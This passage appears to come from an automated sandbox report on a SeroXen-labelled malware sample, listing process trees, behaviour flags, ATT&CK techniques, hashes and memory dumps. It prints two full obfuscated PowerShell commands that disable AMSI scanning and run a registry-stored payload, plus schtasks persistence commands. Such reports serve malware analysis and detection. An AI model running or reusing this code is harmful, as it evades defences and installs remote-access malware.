'+[Char](44)+''+'M'+''+[Char](97)+'n'+'a'+''+'g'+''+[Char](101)+'d');$XbjwctSAgZK.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+'H'+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+'Ne'+[Char](119)+''+[Char](83)+'lo'+'t'+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+'u'+'a'+'l',$MFvbWoMOaN,$NsHjWmKxGrPVdA).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $XbjwctSAgZK.CreateType();}$jXBROHGhPwuix=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType('Mi'+[Char](99)+'ros'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+[Char](97)+'feNat'+'i'+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+'o'+[Char](100)+''+[Char](115)+'');$rpEoIhvmDJDEGP=$jXBROHGhPwuix.GetMethod('GetPr'+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+'l'+'i'+'c,'+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jUnCOvUIteepFyvFNFi=DeaEIfQEBMCB @([String])([IntPtr]);$DiFwPxJDDRCzpJfggJinxY=DeaEIfQEBMCB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$owlguydTCru=$jXBROHGhPwuix.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+[Char](110)+'e'+'l'+''+'3'+''+[Char](50)+'.'+[Char](100)+''+[Char](108)+'l')));$WdyWdWQrEChpGw=$rpEoIhvmDJDEGP.Invoke($Null,@([Object]$owlguydTCru,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+'ra'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$opntHywwLJLMvIysj=$rpEoIhvmDJDEGP.Invoke($Null,@([Object]$owlguydTCru,[Object](''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$hRrGnAy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WdyWdWQrEChpGw,$jUnCOvUIteepFyvFNFi).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+'i'+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'');$TUvwnAXLmgFYXiPaO=$rpEoIhvmDJDEGP.Invoke($Null,@([Object]$hRrGnAy,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+'i'+''+'S'+'c'+[Char](97)+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+'f'+'e'+'r')));$UGMEzjOiCu=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($opntHywwLJLMvIysj,$DiFwPxJDDRCzpJfggJinxY).Invoke($TUvwnAXLmgFYXiPaO,[uint32]8,4,[ref]$UGMEzjOiCu);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$TUvwnAXLmgFYXiPaO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($opntHywwLJLMvIysj,$DiFwPxJDDRCzpJfggJinxY).Invoke($TUvwnAXLmgFYXiPaO,[uint32]8,0x20,[ref]$UGMEzjOiCu);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OFT'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue('$'+[Char](55)+''+'7'+'s'+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3444

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:bwixibWRwxCy{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ArNVYsvJjSYcLe,[Parameter(Position=1)][Type]$DKZOpOScOV)$PWyHDJOQmCy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'le'+[Char](103)+''+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+'M'+'e'+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+'u'+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+'l'+'a'+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+'ubli'+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+[Char](108)+'ed'+','+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+',A'+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+'l'+[Char](97)+''+'s'+'s',[MulticastDelegate]);$PWyHDJOQmCy.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+'e'+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+'e'+''+[Char](44)+''+[Char](72)+''+'i'+'d'+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+'g'+','+''+[Char](80)+''+'u'+'b'+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$ArNVYsvJjSYcLe).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e,'+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+'ge'+'d'+'');$PWyHDJOQmCy.DefineMethod('I'+'n'+'v'+'o'+'ke',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+'Hi'+[Char](100)+''+'e'+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+'w'+[Char](83)+'l'+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+''+'r'+'tu'+[Char](97)+''+'l'+'',$DKZOpOScOV,$ArNVYsvJjSYcLe).SetImplementationFlags('R'+[Char](117)+''+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+','+'M'+''+'a'+'nag'+[Char](101)+''+'d'+'');Write-Output $PWyHDJOQmCy.CreateType();}$RDrXZJfpagtvH=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+'2'+'.'+[Char](85)+''+'n'+'s'+[Char](97)+''+[Char](102)+''+'e'+''+'N'+'a'+'t'+''+'i'+'ve'+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$QJHxfATQdLDLnm=$RDrXZJfpagtvH.GetMethod('Ge'+'t'+''+[Char](80)+''+[Char](114)+''+'o'+'cAdd'+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+'b'+'li'+'c'+''+','+''+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$HDMemNGoTPFreoNQofQ=bwixibWRwxCy @([String])([IntPtr]);$vERXldaKeyianPvenrbBxq=bwixibWRwxCy @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$fDfsvkMKbBR=$RDrXZJfpagtvH.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+'o'+''+[Char](100)+'u'+'l'+''+'e'+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+'e'+'l32'+[Char](46)+'d'+'l'+''+'l'+'')));$JAMilvPyxoyKdO=$QJHxfATQdLDLnm.Invoke($Null,@([Object]$fDfsvkMKbBR,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+''+'A'+'')));$IFLUHSDcddnxeFHOY=$QJHxfATQdLDLnm.Invoke($Null,@([Object]$fDfsvkMKbBR,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+''+'t'+'')));$oJsodyR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JAMilvPyxoyKdO,$HDMemNGoTPFreoNQofQ).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+'.'+''+[Char](100)+''+[Char](108)+'l');$bYdTeSUqjdiqtNqiF=$QJHxfATQdLDLnm.Invoke($Null,@([Object]$oJsodyR,[Object](''+'A'+'m'+'s'+''+'i'+'S'+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+'u'+'f'+''+[Char](102)+''+[Char](101)+'r')));$TnnKEwCawb=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IFLUHSDcddnxeFHOY,$vERXldaKeyianPvenrbBxq).Invoke($bYdTeSUqjdiqtNqiF,[uint32]8,4,[ref]$TnnKEwCawb);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$bYdTeSUqjdiqtNqiF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IFLUHSDcddnxeFHOY,$vERXldaKeyianPvenrbBxq).Invoke($bYdTeSUqjdiqtNqiF,[uint32]8,0x20,[ref]$TnnKEwCawb);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+'A'+'R'+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:72

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:5024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1344

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1540

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
- Modifies Internet Explorer settings
PID:1892

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D4 0x00000000000004E4
2⤵
PID:3740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2052

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2576

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2692

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:724

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3344

C:\Users\Admin\AppData\Local\Temp\Uni.exe
"C:\Users\Admin\AppData\Local\Temp\Uni.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3492

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:4536

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4984

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:3452

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
4⤵
- Executes dropped EXE
PID:4016

C:\Users\Admin\AppData\Local\Temp\YLyLEEe0GcIq.exe
"C:\Users\Admin\AppData\Local\Temp\YLyLEEe0GcIq.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4464 -s 1816
5⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2720

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:4596

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:1016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3532

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3892

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3972

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3524

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1592

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2300

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3828

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4744

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1712

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:2788

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1364

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:1780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4464 -ip 4464
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER.33ee81af-32cf-4c42-b503-96cd60474a91.tmp.txt

Filesize
13KB

MD5
c50487d848c0f12ce6ffce0cf620d9c7

SHA1
349c24cb7022332b6e2abf5d2c9ee22808719990

SHA256
9eeec6de6f4b3b5079bb1a2d3e2123a209cc758d09cfa024ca913e0690501701

SHA512
9aada8fce2a9e1b512840d89440c05dd4f060db58a938188ea13286002d86ccf548fc9db92b591379e19656f91eca1d216db69709a832d45cbd5727e7132d808

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER.f2232e57-9063-4860-ab78-02eb30af0787.tmp.csv

Filesize
34KB

MD5
7801b700351217dcc4d7cb92caa4e8a7

SHA1
bf203103c5bb5e6c4387cefa779f0c971393de3a

SHA256
8b8d2100ca0b624fddae0abb2288e83b00ce033c24d16283b89a918e7d5fb97f

SHA512
ee7564ed0e06da8d445c8e386c3d04c69b915faf7b18dcff0e92853c0364be8a45f45c73dd5555c7bfbf1bcc75b00980267379dda0a6e24ec9304ef0595edbc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\YLyLEEe0GcIq.exe

Filesize
276KB

MD5
120f3a38b2f4eb0f800ebe47ffa5e76b

SHA1
bed5148cc6a53e12a86ed635bb79135a568edd78

SHA256
3a195d762fd1e2f7f93eb4cbcef8fa9b600a6f94fc43b1c1c157b2c5e069154f

SHA512
60e66274203624afa422578d9807b21cbcc99de855dd665aa54753c957886677e358a2579ade098970c7ea3f9c3f2476c9e028fdabaac6ee991f09093fa52aff

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe

Filesize
409KB

MD5
16e4226eddebe2148b46353c351ec570

SHA1
5879aab64c4d4c086f24807f85c3f1bec657db9c

SHA256
04f86ef6a2870bcaff958187d1bbf7281e6c8c1c1f2fbefddc11e3a379e4f9b9

SHA512
7fa89b0aee061fca53534c7e38dfa873235095e32f64e87d7a8457e765f804d8f2408e90b90a484ea3e9c18d1110a5667de9aab14d9d9e22911433e9da4cfd38

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_qtpffhdf.gam.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/644-58-0x000002702B830000-0x000002702B85B000-memory.dmp

Filesize
172KB

Download
memory/644-65-0x000002702B830000-0x000002702B85B000-memory.dmp

Filesize
172KB

Download
memory/644-57-0x000002702B800000-0x000002702B825000-memory.dmp

Filesize
148KB

Download
memory/644-59-0x000002702B830000-0x000002702B85B000-memory.dmp

Filesize
172KB

Download
memory/644-66-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmp

Filesize
64KB

Download
memory/708-70-0x00000169579D0000-0x00000169579FB000-memory.dmp

Filesize
172KB

Download
memory/708-77-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmp

Filesize
64KB

Download
memory/708-76-0x00000169579D0000-0x00000169579FB000-memory.dmp

Filesize
172KB

Download
memory/736-103-0x00000285837B0000-0x00000285837DB000-memory.dmp

Filesize
172KB

Download
memory/772-92-0x0000011A59420000-0x0000011A5944B000-memory.dmp

Filesize
172KB

Download
memory/772-98-0x0000011A59420000-0x0000011A5944B000-memory.dmp

Filesize
172KB

Download
memory/772-99-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmp

Filesize
64KB

Download
memory/1008-81-0x0000023DA3690000-0x0000023DA36BB000-memory.dmp

Filesize
172KB

Download
memory/1008-87-0x0000023DA3690000-0x0000023DA36BB000-memory.dmp

Filesize
172KB

Download
memory/1008-88-0x00007FF8689B0000-0x00007FF8689C0000-memory.dmp

Filesize
64KB

Download
memory/3360-48-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3360-46-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3360-47-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3360-54-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3360-49-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3360-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3360-52-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmp

Filesize
2.0MB

Download
memory/3360-53-0x00007FF8A87F0000-0x00007FF8A88AD000-memory.dmp

Filesize
756KB

Download
memory/3444-29-0x00000231219D0000-0x00000231219F2000-memory.dmp

Filesize
136KB

Download
memory/3444-45-0x00007FF8A87F0000-0x00007FF8A88AD000-memory.dmp

Filesize
756KB

Download
memory/3444-44-0x00007FF8A8920000-0x00007FF8A8B29000-memory.dmp

Filesize
2.0MB

Download
memory/3444-43-0x00000231219A0000-0x00000231219CA000-memory.dmp

Filesize
168KB

Download
memory/3492-7-0x0000000006290000-0x00000000062CC000-memory.dmp

Filesize
240KB

Download
memory/3492-3-0x0000000004F60000-0x0000000004FF2000-memory.dmp

Filesize
584KB

Download
